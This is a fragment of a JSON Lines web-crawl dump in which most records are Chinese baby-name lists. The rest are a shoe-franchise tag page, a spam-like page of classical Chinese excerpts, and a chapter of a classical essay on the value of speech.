蔺淼绵 蔺禹荥 蔺震航 蔺孟孟 蔺彬妃 蔺颀森 蔺沛山 蔺尊最 蔺润棉 蔺鸫纭 蔺熙彡 蔺汶啸 蔺词凯 蔺军库 蔺佳慧 蔺盛心 蔺纹生 蔺珈颍 蔺栋晖 蔺卓泓 蔺效民 蔺庚申 蔺开浩 蔺成燮 蔺尧楠 蔺琼芝 蔺芳上 蔺友夫 蔺事涛 蔺许含 蔺肥子 蔺惟弘 蔺清荔 蔺佳宵 蔺秀灵 蔺胤戈 蔺宸育 蔺伯润 蔺末希 蔺剑方 蔺福棵 蔺玫麟 蔺汇芸 蔺前永 蔺优骏 蔺英贤 蔺恒虎 蔺唐薇 蔺荚懿 蔺镇昌 蔺师良 蔺宁恫 蔺胤海 蔺焕奎 蔺岸平 蔺宇灸 蔺海骅 蔺娃儿 蔺泽优 蔺炼凡 蔺柠棋 蔺恺听 蔺森婕 蔺近轩 蔺曜君 蔺河棋 蔺侦驭 蔺哲廷 蔺高修 蔺弭 蔺建开 蔺皓岳 蔺颢晨 蔺仕耿 蔺领兴 蔺汶晓 蔺唯恺\n关键词: 男孩起名","id":"","dump":"CC-MAIN-2019-51","url":"http:\/\/www.guangdongpost.com\/nanhaiqiming\/50.html","date":"2019-12-12T22:15:13Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-51\/segments\/1575540547165.98\/warc\/CC-MAIN-20191212205036-20191212233036-00293.warc.gz","language":"lzh","language_score":0.4607314765,"language_script":"Hani","minhash_cluster_size":2,"top_langs":"{\"lzh_Hani_score\": 0.46073147654533386, \"yue_Hani_score\": 0.1969306468963623, \"nan_Hani_score\": 0.13834789395332336, \"cmn_Hani_score\": 0.08862633258104324, \"und_Yiii_score\": 0.0542021319270134, \"und_Adlm_score\": 0.011201225221157074}","num_words":849,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.25,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.46,"perplexity_score":500.0,"cluster_detection":1} +{"text":"女孩起名祖姓起名好听的女孩名字\n始祖为祖已。起源于商朝。祖纩霞 祖振娜 祖韵妍 祖悦佩 祖卫芬 祖武莹 祖嫣苒 祖倩溶 祖召琼 祖超芳 祖科娜 祖早霞 祖霄怡 祖品蓉 祖林娥 祖生霞 祖午文 祖咿洁 祖菁嫣 祖茹丹 祖纤玉 祖戴燕 祖楚琴 祖顼莹 祖州玲 祖妍舟 祖幼琴 祖燕静 祖蓉溪 祖芹妍 祖谊洁 祖蓉峰 祖玮玉 祖发文 祖锘琳 祖晓莉 祖梁艳 祖婷鹅 祖燕宁 祖荥娜 祖暄悦 祖言芳 祖鹅婷 祖个婷 祖蓉伊 祖馥玲 祖苏琳 祖画琴 祖铃颖 祖婷璇 祖臣燕 祖琳悟 祖怡庭 祖钛文 祖娅俐 祖函文 祖蓉元 祖佟颖 祖十媛 祖凯英 祖尾蓉 祖斐霞 祖琪花 祖瑶含 祖九玲 祖岫娟 祖二红 祖笛莹 祖婷羽 祖卉玉 祖怡黛 祖娟姝 祖妍扉 祖新琼 祖莹纤 祖繁茹 祖俊怡 祖婷我 祖燕荣 祖汉芬 祖芬逻 祖玲溪 祖忆红 祖燕荭 祖芝燕 祖娅甜 祖森玲 祖欢婷 祖玟娜 祖泓妍 祖得玉 祖丁花 祖考文 祖婧娆 祖桂莉 祖土英 祖式文 祖人美 祖芙芳 祖效颖 祖庚媛 祖秋菊 祖琰雪 祖丝丽 祖抒媛 祖呈美 祖兰婧 祖福萍 祖琴音 祖泔文 祖祝媛 祖悦成 祖留霞 祖炳美 祖婧畅 祖蹄花 祖鳕莹 祖萧玉 祖莉台 祖鱼红 祖净萍 祖苡媛 祖薏婷 祖梅萍 祖岚瑛 祖苇婧 祖京颖 祖喻婷 祖序琴 祖叙蓉 祖思英 祖恭茹 祖一嫣 祖玄文 祖忻琼 祖怡金 祖圣玉 祖夕萍 祖琴秀 祖枫艳 祖祉妍 祖茈莹 祖岍霞 祖燕侠 祖俞燕 祖贻萍 祖洳瑶 祖妍梦 祖逸燕 祖蓝莹 祖颀妍 祖靖梅 祖竹洁 祖赵美 祖院英 祖文英 祖帅文 祖叙洁 祖曼瑶 祖泓茹 祖悦丹 祖倡燕 祖梦娅 祖知颖 祖悦桓 祖凌萍 祖悦祈 祖妃婷 祖庆婷 祖荔婷 祖燕国 祖延婷 祖裴文 祖婧纾 祖耀媛 祖六英 祖奉琳 祖铁瑛 祖时红 祖浏琳 祖绍蓉 祖怡楚 祖支梅 祖湘瑛 祖沂妍 祖知蓉 祖婷喧 祖倩婕 祖坛瑶 祖宵英 祖钓雪 祖孟茹 祖钲花 祖陈霞 祖楚秀 祖何娜 祖曹秀 祖宝婵 祖李英 祖娜雅 祖妹儿 祖瑶珏 祖晶文 祖娅橼 祖予洁 祖妍妙 祖妙琴 祖琳飒 祖庆琳 祖诗美 祖洪媛 祖怡妗 祖煦冉 祖泓花 祖端颖 祖雁红 祖苏洁 祖矜秀 祖悦芳 祖娇妍 祖戴玲 祖耿琳 祖羡婷 祖军莉 祖旭红 祖娇茹 祖莹珠 祖德雪 祖森芳 祖琳佳 祖纹芳 祖莲莹 祖悦贵 祖仲红 祖伊霞 祖怡岚 祖梦妞 祖徐梅 祖悦淑 祖琳深 祖燕博 祖铭瑶 祖倩研 祖昃娜 祖简琳 祖悦祺 祖素嫣 祖婵胤 祖琳浩 祖芃 祖宝娜 祖欣雁 祖曼婵 祖露文 祖倩思 祖佑梅 祖继红 祖琳旭 祖孰瑶 祖筱玉 祖彦燕 祖萍芸 祖裕燕 祖莉栗 祖路娜 祖鲁艳 祖沈玲 祖李颖 祖咏秀 祖经艳 祖闳芳 祖蕙燕 祖清婧 祖箐茹 祖春娅 祖古玲 祖妍岩 祖俪燕 祖婧彦 祖铮娅 祖嫣怡 祖武文 祖顺芬 祖汝瑛 祖陆萍 祖秀平 祖莹帆 祖致悦 祖沁媛 祖邦冉 祖魏英 祖繁霞 祖麟芳 祖琳彬 祖琳曦 祖婷烨 祖晰茹 祖县娟 祖郡霞 祖楠芳 祖婷华 祖一玉 祖定英 祖昌丽 祖信怡 祖陈芳 祖裴淳 祖祺琼 祖觎萍 祖倩怿 祖李悦 祖觉文 祖微雪 祖孔英 祖箫悦 祖风丽 祖怡艾 祖娜倩 祖雏蓉 祖娅世 祖育雪 祖自红 祖玲格 祖悦泓 祖雁茹 祖霰文 祖姘婷 祖仟冉 祖琳宛 祖婧柔 祖锦婵 祖琼娟 祖幻玲 祖娜已 祖运花 祖单花 祖起霞 祖苑芬 祖瑶嫒 祖则悦 祖晓花 祖锫蓉 祖绘梅 祖择怡 祖涑萍 祖邵霞 祖倩慧 祖茹荞 祖妍美 祖燕昕 祖庆瑶 祖孝悦 祖鹂媛 祖保英 祖沈燕 祖好琴 祖怡蓓 祖侗文 祖悦婕 祖效嫣 祖双茹 祖柯茹 祖音妍 祖洳嫣 祖妲萍 祖鸥妍 祖嫣鹂 祖瑛毅 祖仪妍 祖孜蓉 祖唯英 祖漪文 祖均萍 祖乘婷 祖卓颖 祖卉媛 祖媛籼 祖悦媚 祖苈妍 祖立茹 祖娜笛 祖由雪 祖捷文 祖逢霞 祖翠艳 祖沫瑶 祖彩玲 祖维玉 祖君萍 祖俏霞 祖卜玉 祖纬洁 祖临颖 祖粲琳 祖栋艳 祖莹羽 祖瑶祯 祖道琳 祖尹萍 祖悦咏 祖霞宦 祖弋冉 祖薇婷 祖悦兮 祖静梅 祖漪瑶 祖阌倩 祖惺怡 祖蕴娜 祖冀瑶 祖信洁 祖茜丽 祖贵燕 祖星嫣 祖小红 祖悦呈 祖靓倩 祖米霞 祖俏梅 祖侨娅 祖佩婧 祖耥玲 祖高红 祖轩婷 祖兴瑶 祖窈婧 祖响瑛 祖丝媛 祖露美 祖媛萍 祖莹窳 祖黄颖 祖秀遥 祖凌瑛 祖忻芳 祖栖燕 祖惜萍 祖加梅 祖熙英 祖熙艳 祖硎嫣 祖歆琳 祖滋婷 祖磐燕 祖茹永 祖瑞倩 祖甜茹 祖贞妹 祖玲棱 祖玲柯 祖楦悦 祖裴焱 祖业茹 祖容玉 祖琳淼 祖蜜莉 祖黎琼 祖地梅 祖曼倩 祖隽瑶 祖蔼莹 祖连美 祖朝瑛 祖怡束 祖泽芬 祖玲依 祖布英 祖燕诒 祖玲懿 祖洪悦 祖悦姚 祖汐妍 祖步萍 祖权萍 祖悦边 祖有玲 祖慕媛 祖泉文 祖妍髌 祖杨悦 祖靖悦 祖宪婷 祖贺红 祖术妹 祖琴芸 祖尉丽 祖贝文 祖兆琴 祖勇芬 祖惠妹 祖琳苹 祖森文 祖石琴 祖崎蓉 祖倩熠 祖霆玉 祖科文 祖缔文 祖妃玉 祖帼芳 祖燕莎 祖潇怡 祖译瑶 祖红娅 祖磊婷 祖译芳 祖婵玲 祖莎琼 祖爻燕 祖尧婷 祖蓉仙 祖占芬 祖露艳 祖萧琴 祖述芳 祖梓颖 祖尚蓉 祖玲梦 祖姝倩 祖晖婷 祖震玉 祖铖悦 祖晓娥 祖轩妍 祖垂文 祖富红 祖琳薪 祖营莹 祖凌蓉 祖元雪 祖茗红 祖秀抒 祖国倩 祖媛桐 祖乙琼 祖千蓉 祖婧闻 祖嗨英 祖怀莹 祖媛曦 祖烨美 祖悦瑾 祖葸媛 祖零媛 祖珩文 祖媛丹 祖翊丽 祖琳渝 祖盈芳 祖瑶琳 祖娅红 祖蓉於 祖苏霞 祖善媛 祖莉屏 祖榕婧 祖菊颖 祖成芬 祖畅洁 祖怀娥 祖蕊艳 祖欤萍 祖芸艳 祖玲笑 祖兵倩 祖力燕 祖婷卿 祖茹玲 祖悦凡 祖藤娟 祖呈芬 祖长颖 祖燕洪 祖益芬 祖偃梅 祖壁茹 祖坷妍 祖可文 祖玉倩 祖荥颖 祖俏萍 祖倩荣 祖玲臻 祖守莉 祖慈莉 祖婧芝 祖籽玉 祖力媛 祖姣梅 祖金瑛 祖方秀 祖怡豆 祖张霞 祖雅冉 祖阿雪 祖百霞 祖依红 祖燕崎 祖锫琳 祖怡芸 祖宏琳 祖乾玉 祖娅真 祖吟雪 祖莉超 祖陈冉 祖京梅 祖悦平 祖贻莹 祖珍娥 祖梅茹 祖燕俐 祖学萍 祖茹棋 祖衍红 祖邦蓉 祖舫秀 祖甫英 祖竟怡 祖润丽 祖昂娟 祖仁萍 祖忆娟 祖劲莹 祖纸英 祖语霞 祖婧溪 祖娟珍 祖蔚冉 祖钦怡 祖钧文 祖蕙瑛 祖秀舜 祖秀刖 祖燕彦 祖才梅 祖睿芳 祖芯玉 祖帝英 祖岑洁 祖瑛茹 祖娜颖 祖霞摸 祖莘怡 祖梵琳 祖屏燕 祖雯悦 祖久媛 祖百莉 祖张莹 祖燕佩 祖韫瑶 祖礼莉 祖古梅 祖蕙婷 祖亿红 祖蕊霞 祖传霞 祖毅婷 祖桦琳 祖颢媛 祖玲英 祖琪英 祖怡珂 祖莱娟 祖杰冉 祖狄娅 祖婷鲈 祖贝琳 祖令颖 祖纪莉 祖祖嫣 祖月瑛 祖妹弟 祖金秋 祖繁梅 祖玲力 祖星燕 祖苗颖 祖琳晶 祖泰蓉 祖驰冉 祖辛茹 祖妍祺 祖获文 祖上芳 祖椿颖 祖国妹 祖裕红 祖悦萁 祖玮茹 祖义洁 祖虹莉 祖婧凡 祖马文 祖百红 祖配洁 祖篮瑶 祖安蕾 祖俐芳 祖九娥 祖柏婧 祖黛瑶 祖致瑶 祖萍伟 祖慕怡 祖梨琼 祖瑶蝶 祖嫣影 祖琛婧 祖占媛 祖昭雪 祖允婷 祖慧悦 祖婧珏 祖栗萍 祖辉琳 祖蓓燕 祖邦洁 祖召蓉 祖缘婧 祖日玲 祖安艳 祖相妍 祖际茹 祖怡禧 祖杏美 祖玲镁 祖云媛 祖怡焓 祖莹淇 祖媛超 祖德媛 祖廉洁 祖二梅 祖燕忠 祖利洁 祖人文 祖茹蕾 祖基霞 祖振莉 祖西娜 祖丛英 祖婧竹 祖僖蓉 祖馨红 祖东娟 祖璐秀 祖入玉 祖溱琴 祖芯文 祖妙红 祖妍添 祖怡雁 祖舆萍 祖二琼 祖炜丽 祖娅庭 祖嫣引 祖晋芬 祖紫红 祖莉玉 祖慢婷 祖霞玲 祖汝英 祖画燕 祖霭莉 祖柳婷 祖莉杉 祖冰秀 祖彤茹 祖怡人 祖克丽 祖海冉 祖他婷 祖睿玲 祖思颖 祖堇燕 祖依妹 祖润娅 祖娅平 祖至玲 祖俏妹 祖迁瑶 祖遗婷 祖娅晓 祖婷瀣 祖弋嫣 祖令倩 祖惋婷 祖婵爱 祖百莹 祖彩梅 祖舒玉 祖大冉 祖祺冉 祖岩婷 祖恰怡 祖蝉萍 祖婷一 祖永茹 祖令茹 祖茹涓 祖存艳 祖少红 祖锦燕 祖静媛 祖湘洁 祖巍琼 祖可花 祖姿悦 祖恩蓉 祖妍弋 祖京霞 祖丝文 祖晰婷 祖婧翊 祖怀娜 祖兮媛 祖维怡 祖窦瑶 祖宣文 祖朦丽 祖妍雨 祖媛姝 祖香悦 祖腾文 祖十颖 祖官霞 祖霁倩 祖少妍 祖靓英 祖玲榕 祖仁洁 祖列艳 祖岳萍 祖俊霞 祖然茹 祖女媛 祖溪茹 祖言妹 祖禹美 祖滨莉 祖蔚文 祖慧艳 祖妍莎 祖紊萍 祖佳芬 祖薏婧 祖悦朗祖姓出自子姓,名人辈出,祖姓女孩怎么起名?你身边有姓祖的朋友吗?下面小编带来祖姓起名好听的女孩名字,有祖逖、祖冲之等。黄帝的后裔。祖姓在宋版《百家姓》中排序为第二百四十九位。希望对大家有所帮助。\n关键词: 女孩起名\n下一篇:没有了","id":"","dump":"CC-MAIN-2019-51","url":"http:\/\/www.van46.com\/nvhaiqiming\/564.html","date":"2019-12-06T12:28:25Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-51\/segments\/1575540488620.24\/warc\/CC-MAIN-20191206122529-20191206150529-00383.warc.gz","language":"lzh","language_score":0.9806095958,"language_script":"Hani","minhash_cluster_size":1,"top_langs":"{\"lzh_Hani_score\": 0.9806095957756042, \"cmn_Hani_score\": 0.012524951249361038}","num_words":854,"character_repetition_ratio":0.001,"word_repetition_ratio":0.0,"special_characters_ratio":0.247,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.981,"perplexity_score":500.0,"cluster_detection":1} +{"text":"金沙永利泰国新增122例新冠肺炎确诊病例累计确诊721例\n武王十七年,晋之曲沃庄伯弑主国晋孝侯。十九年,郑伯弟段作乱。二十一年,郑侵天子之田。二十三年,卫弑其君桓公。二十九年,鲁弑其君隐公。三十一年,宋太宰华督弑其君殇公。\n曾子曰:\"吾闻诸夫子,孟庄子之孝也,其他可能也;其不改父之臣与父之政,是难能也。\"\n彊梧协洽三年。\n且夫天地为炉兮,造化为工;阴阳为炭兮,万物为铜。合散消息兮,安有常则;千变万化兮,未始有极。忽然为人兮,何足控抟;化为异物兮,又何足患!小知自私兮,贱彼贵我;通人大观兮,物无不可。贪夫徇财兮,烈士徇名;夸者死权兮,品庶冯生。述迫之徒兮,或趋西东;大人不曲兮,亿变齐同。拘士系俗兮,羖如囚拘;至人遗物兮,独与道俱。众人或或兮,好恶积意;真人淡漠兮,独与道息。释知遗形兮,超然自丧;寥廓忽荒兮,与道翱翔。乘流则逝兮,得坻则止;纵躯委命兮,不私与己。其生若浮兮,其死若休;澹乎若深渊之静,氾乎若不系之舟。不以生故自宝兮,养空而浮;德人无累兮,知命不忧。细故\n齐王,孝惠帝兄也。孝惠帝二年,齐王入朝。惠帝与齐王燕饮,亢礼如家人。吕太后怒,且诛齐王。齐王惧不得脱,乃用其内史勋计,献城阳郡,以为鲁元公主汤沐邑。吕太后喜,乃得辞就国。","id":"","dump":"CC-MAIN-2020-16","url":"http:\/\/fsbny.yujiaf.com\/pdqqt\/805110.html","date":"2020-03-30T07:44:22Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-16\/segments\/1585370496669.0\/warc\/CC-MAIN-20200330054217-20200330084217-00026.warc.gz","language":"lzh","language_score":0.4936946034,"language_script":"Hani","minhash_cluster_size":1,"top_langs":"{\"lzh_Hani_score\": 0.49369460344314575, \"cmn_Hani_score\": 0.3634745180606842, \"wuu_Hani_score\": 0.033748503774404526, \"nan_Hani_score\": 0.030658001080155373, \"yue_Hani_score\": 0.017398651689291, \"jpn_Jpan_score\": 0.010193838737905025}","num_words":6,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.187,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.466,"perplexity_score":500.0,"cluster_detection":1} +{"text":"楚有清晰、整洁,茂盛等含义,是个男女皆适用的取名用字。那么带楚字有哪些好听的女孩名字搭配呢?小编为大家准备了相关的资料,接下来就让小编带大家一睹为快!\n带楚的女孩名字楚凡 楚琼 楚辞 楚惠 楚婵 楚茵 楚雯 楚丽 楚文 楚銮 楚如 楚滢 天楚 楚莲 楚贞 楚萱 文楚 云楚 楚含 楚敏 楚悦 楚群 楚伊 楚媛 楚旋 楚筠 楚容 定楚 婧楚 楚环 楚懿 楚颐 楚韵 楚梅 楚妍 楚琳 楚雅 楚秋 楚挞 楚薇 楚诗 楚菲 楚芹 楚柳 楚玥 楚宁 楚倩 楚芳 楚尧 楚怡 楚兮 楚萍 楚翘 楚仪 楚柔 楚琦 楚函 楚桐 楚峰 楚栋 楚唯 楚茜 楚苑 楚贝 艺楚 楚桥 楚鸣 楚南 楚宜 楚胡 楚姣 楚颖 楚岳 楚庄 楚郡 新楚 楚晴 楚麒 莲楚 楚坚 楚佩 楚澜 泽楚 楚渝 楚迪 楚姜 楚琴 心楚 楚谊 楚洽 楚舒 楚蓓 楚笛 楚惜 进楚 韵楚 函楚 楚抒 焱楚 芸楚 楚研 楚微 孟楚 楚楹 楚娃 丹楚 楚健 楚佳 骁楚 楚善 楚民 楚凤 楚珠 楚砚 楚寒 楚端 楚津 楚益 楚童 慕楚 楚定 少楚 楚奕 筱楚 楚贻 楚鑫 楚灵 楚杰 楚轩 楚珩 楚元 楚香 楚雨 楚芝 逸楚 萌楚 清楚 楚飞 楚获 楚芮 楚寻 珺楚 楚音 楚茹 绘楚 楚礼 楚花 楚依 小楚 楚姗 楚杨 楚斐 楚婶 楚逸 子楚 枫楚 楚楠 楚静 楚昕 楚俏 启楚 楚泳 楚开 楚曼 楚杭 楚苓 楚殉 楚瑜 楚羚 楚琨 楚源 楚漪 汉楚 楚易 楚媚 楚轶 楚枝 楚锵 楚星 楚齐 楚嘉 楚氏 楚屏 露楚 楚煊 碧楚\n带楚字名人名字\n令狐楚:(766年-837年),字壳士,唐朝政治家、文学家、诗人,初唐名臣令狐德棻后代。\n耶律楚材:中国古代(元)著名诗人,文学家。其代表作主要有:《鹧鸪天》、《过阴山和人韵》、《过济源登裴公亭》、《鹧鸪天 题七真洞 词综卷三十三》等。\n钟楚红:1960年2月16日出生于香港。香港著名演员,香港小姐出道,亚太影展最佳女主角,台湾地区\"十大性感女人\"之首。作品有《纵横四海》、《秋天的童话》、《刀马旦》等。\n含有\"楚\"字的四字成语\n楚楚有致:形容陈列整齐,富有情趣。\n楚楚不凡:形容人才出众,不同寻常。\n楚楚可人:形容姿容清秀,使人惬意。\n楚楚可爱:形容陈设整齐,令人喜爱。\n楚楚谡谡:形容风度清雅高迈。","id":"","dump":"CC-MAIN-2021-04","url":"https:\/\/www.wafclan.com\/news\/24174\/","date":"2021-01-23T12:05:08Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-04\/segments\/1610703537796.45\/warc\/CC-MAIN-20210123094754-20210123124754-00078.warc.gz","language":"lzh","language_score":0.9689529538,"language_script":"Hani","minhash_cluster_size":1,"top_langs":"{\"lzh_Hani_score\": 0.9689529538154602, \"cmn_Hani_score\": 0.017062587663531303, \"wuu_Hani_score\": 0.011952947825193405}","num_words":199,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.295,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.97,"perplexity_score":500.0,"cluster_detection":1} +{"text":"成龙 洪大 正志 雨泽 弘化 鹰宵 博雅 雅志 国兴 嘉祥 海超 振华 飞语 和雅 鸿远 宏大 乐正 文鑫 弘业 嘉慕 洒脱 宏浚 英杰 才良 振锐 茂材 俊郎 翰飞 烨烨 文大 哲彦 鸿祯 俊风 驰皓 承悦 伟博 雅逸 宜春 俊豪 兴生 华奥 儒作 英悟 和畅 乐池 辉煌 隆运 陡峭 骏喆 浩波 广阔 正祥 丰茂 景旗 鸿煊 鹏海 英发 和惬 修然 勇锐 绍晖 泰平 正德 嘉容 和惬 依潇 英朗 鸿福 英范 嘉年 良翰 玉堂 高澹 元凯 嘉勋 文敏 嘉志 紫乐 运锋 浩广 子濯 良才 明轩 承宣 成益 飞翼 嘉运 星雨 鸿信 雨可 雨宸 家骏 关白 英士 圣坚 则川 高翰 天材 鸿博 乐容 豪杰 天祝 昊明 行健 伟峰 素丹 天闵 萧羁 天韵 彭祖 兴运 彬郁 俊良 刚小 芸杰 仁泽 志健 思桐 姿竺 世贾 瑞渊 鸿轩 英杰 向晨 英睿 乃娴 芷淇 连波 羽鹃 沛园 梦淮 铭鸿 骏年 成弘 勇军 志用 才艺 善室 飞云 海士 庆晔 南熙 钧君 嘉轩 伟志 鸿卓 华辉 涵衍 学真 肇关 韵辰 诚恳 水发 圣品 竟贤 志华 昆颉 嘉澍 彭彭 正初 华藏 亚明 子七 振桐 传彭 三中 祥柯 嘉华 经国 良俊 康安 承颜 绍祺 晶晶 力维 敏诚 宏歌 恬琬 自政 玉纳 兴学 国安 智阳 振强 浩漫 丽智 芳香 泰兴 洪蔚 正杰 灵昱 汉薇 振奋 子昂 伟祺 信瑞 斯伯 实伟 昊然 展鹏 俊彦 君昊 同甫 振奋 阳泽 瀚漠 永康 立轩 飞掣 国良 涵润 梦丝 鸿畴 长旭 彭祖 飞腾 浩皛 阳平 温韦 晨朗 嘉熙 一晟 骊蓉 子宁 英耀 雅达 嘉悦 高邈 瀚彭 斯年 睿达 苑博 项禹 若 绿凝 杰秀 鸿晖 君浩 元魁 晋鹏 浦和 志新 冠宇 开宇 星爵 晨濡 幻巧 锐精 祺福 才良 兴昌 修诚 琪睿 远航 哲茂 铭晨 理群 景明 兰泽 运鹏 奇胜 鸿飞 俊彦 德惠 鸿文 骞尧 锐智 耘志 昊嘉 伟志 陡峭 采薇 和硕 瀚漠 健康 恬然 昌勋 礼骞 振凯 威武 宣朗 英勋 贞怡 文娱康乐 昌淼 阳夏 嘉赐 涵润 宇荫 涵育 力言 德庸 正雅 俊雄 寄春 安波 思聪 鑫鹏 烨煜 立群 正诚 成天 运诚 腾骞 炳君 成和 含玉 元亮 嘉珍 正文 博容 烨烨 自强 振宇 永元 噪音 星火 景焕 良材 鹏飞 承嗣 朝阳 鸿羲 修竹 曜文 兴怀 景天 文瑞 和玉 玉书 雨凝 闲丽 志行 彭勃 豪杰 飞舟 明德 光远 景胜 安澜 景中 智宇 成周 念珍 飞白 光临 睿聪 和泰 晋鹏 建弼 宜人 英飙 嘉懿 子实 鸿德 依薇 涵润 飞文 修能 鸿禧 庆生 鹏池 雪松 星然 职君 苑杰 巧蕊 寻巧 英逸 鹏鹍 博易 温茂 嘉胜 修筠 昊硕 涵蓄 鸿达 修竹 韶阳 蓉城 弘量 子平 玉泽 博赡 嘉勋 良畴 德义 雨泽 建元 振博 真茹 宛丝 乐容 阳曜 鸿博 涵亮 展鹏 茉莉 宇宙航行 乐湛 永丰 德宇 华荣 迎丝 乐志 英纵 敏博 曾琪 梦丝 梓童 绍元 建同 俊誉 天宇 阳羽 曼彤 骏奇 兴安 光启 嘉茂 子宁 欣然 瀚文 泰华 飞昂 瀚钰 自珍 胤运 传云 东峰 和气 星然 杰秀 海桃 玉堂 和裕 力言 康安 兴文 建明 宜峰 世海 宇达 鸿云 玄逸 文波 远如 淇丹 茗宣 虎骞 宏大 星雨 晓奎 宝丹 颜骏 浩渺 雪松 心远 双成 思博 烨熠 宏邈 华荣 银河 玉书 广龙 兴邦 天工 宇荫 高岑 桂豪 奕笛 令秋 智志 刚豪 嘉赐 家铭 浩磊 玉轩 华容 弘毅 泰平 益鸣 思源 康胜 呼吁 宏爽 涵容 明忠 亚荣 奇胜 鸿风 逸明 飞掣 桂荣 键铭 宜民 康顺 鹤轩 文石 新波 卫光 俊驰 安澜 修诚 辰阳 春生 新岳 高旻 明诚 辰良 烨熠 高辉 子铭 君浩 阳焱\nCEO风水网:http:\/\/www.sjtuceo.org\n版权声明\n本文仅代表作者观点,不代表本站立场。\n本站内容均来自网路,如有侵权请联系删除!","id":"","dump":"CC-MAIN-2021-25","url":"http:\/\/www.sjtuceo.org\/post\/1045.html","date":"2021-06-24T13:16:12Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-25\/segments\/1623488553635.87\/warc\/CC-MAIN-20210624110458-20210624140458-00278.warc.gz","language":"lzh","language_score":0.4508630335,"language_script":"Hani","minhash_cluster_size":5,"top_langs":"{\"lzh_Hani_score\": 0.4508630335330963, \"cmn_Hani_score\": 0.3826979994773865, \"nan_Hani_score\": 0.1474776268005371, \"yue_Hani_score\": 0.012253622524440289}","num_words":520,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.327,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.498,"perplexity_score":500.0,"cluster_detection":1} +{"text":"江苏福连升老北京布鞋、休闲鞋品牌加盟店信息和江苏鞋店加盟方法介绍。\n安康 陕西 青海 玉树 娄底 湖南 浙江 温州 江苏 泰州 承德 河北 廊坊 固安 河南 新乡 安徽 天长 滁州 扬州 武冈 邵阳 巩义 榆林 府谷 江西 赣州 金山区 上海 周口","id":"","dump":"CC-MAIN-2021-25","url":"https:\/\/www.fuliansheng.com\/tags.php?\/146\/","date":"2021-06-13T21:23:11Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-25\/segments\/1623487610841.7\/warc\/CC-MAIN-20210613192529-20210613222529-00130.warc.gz","language":"lzh","language_score":0.8158589602,"language_script":"Hani","minhash_cluster_size":2,"top_langs":"{\"lzh_Hani_score\": 0.8158589601516724, \"cmn_Hani_score\": 0.14579567313194275, \"nan_Hani_score\": 0.028120240196585655}","num_words":31,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.266,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.816,"perplexity_score":500.0,"cluster_detection":1} +{"text":"《貴言第六》\n君子必貴其言。貴其言則尊其身,尊其身則重其道,重其道所以立其教。言費則身賤,身賤則道輕,道輕則教廢。故君子非其人則弗與之言,若與之言,必以其方。農夫則以稼穡,百工則以技巧,商賈則以貴賤,府史則以官守,大夫及士則以法制,儒生則以學業。故《易》曰:「艮其輔,言有序。」不失事、中之謂也。若夫父慈子孝,姑愛婦順,兄友弟恭,夫敬妻聽,朋友必信,師長必教,有司日月慮知乎州閭矣。雖庸人則亦循循然與之言此,可也;過此而往,則不可也。故君子之與人言也,使辭足以達其知慮之所至,事足以合其性情之所安,弗過其任而強牽制也。苟過其任而強牽制,則將昏瞀委滯,而遂疑君子以為欺我也,不則曰「無聞知」矣。非故也。明偏而示之以幽,弗能照也;聽寡而告之以微,弗能察也;斯所資於造化者也。雖曰無訟,其如之何?故孔子曰:「可與言而不與之言,失人;不可與言而與之言,失言。知者不失人,亦不失言。」夫君子之於言也,所致貴也,雖有夏后之璜,商湯之駟,弗與易也。今以施諸俗士,以為志誣而弗貴聽也,不亦辱己而傷道乎!是以君子將與人語大本之源,而談性、義之極者,必先度其心志,本其器量,視其銳氣,察其墮衰,然後唱焉以觀其和,導焉以觀其隨。隨、和之徵發乎音聲,形乎視聽,著乎顏色,動乎身體,然後可以發〔幽〕而步遠,功察而治微;於是乎闓張以致之,因來以進之,審諭以明之,雜稱以廣之,立準以正之,疏煩以理之。疾而勿迫,徐而勿失,雜而勿結,放而勿逸,欲其自得之也。故大禹善治水,而君子善導人;導人必因其性,治水必因其勢;是以功無敗而言無棄也。\n荀卿曰:「禮恭、然後可與言道之方,辭順、然後可與言道之理,色從、然後可與言道之致。」「有爭氣者、勿與辨也。」孔子曰:「惟君子、然後能貴其言,貴其色,小人能乎哉?」仲尼、荀卿先後知之。問者曰:「或有周乎上哲之至論,通乎大聖之洪業,而好與俗士辨者何也?」曰:「以俗士為必能識之故也。何以驗之?使彼有金石絲竹之樂,則不奏乎聾者之側;有山龍華蟲之文,則不陳乎瞽者之前;知聾者之不聞也,知瞽者之不見也,於己之心分數明白;至與俗士而獨不然者,知分數者不明也。不明之故何也?夫俗士之牽達人也,猶鶉鳥之欺孺子也。鶉鳥之性善近人,飛不峻也,不速也,蹲蹲然似若將可獲也,卒至乎不可獲,是孺子之所以𨁉膝踠足而不以為弊也。俗士之與達人言也,受之雖不肯,拒之則無說;然而有贊焉,有和焉,若將可寤,卒至乎不可寤,是達人之所以乾唇竭聲而不舍也。斯人也、固達之蔽者也,非達之達者也,雖能言之,猶夫俗士而已矣。非惟言也,行亦如之,得其所則尊榮,失其所則賤辱。昔倉梧丙娶妻美,而以與其兄,欲以為讓也,則不如無讓焉。尾生與婦人期於水邊,水暴至不去而死,欲以為信也,則不如無信焉。葉公之黨,其父攘羊而子證之,欲以為直也,則不如無直焉。陳仲子不食母兄之食,出居於陵,欲以為潔也,則不如無潔焉。宗魯受齊豹之謀,死孟縶之難,欲以為義也,則不如無義焉。故凡道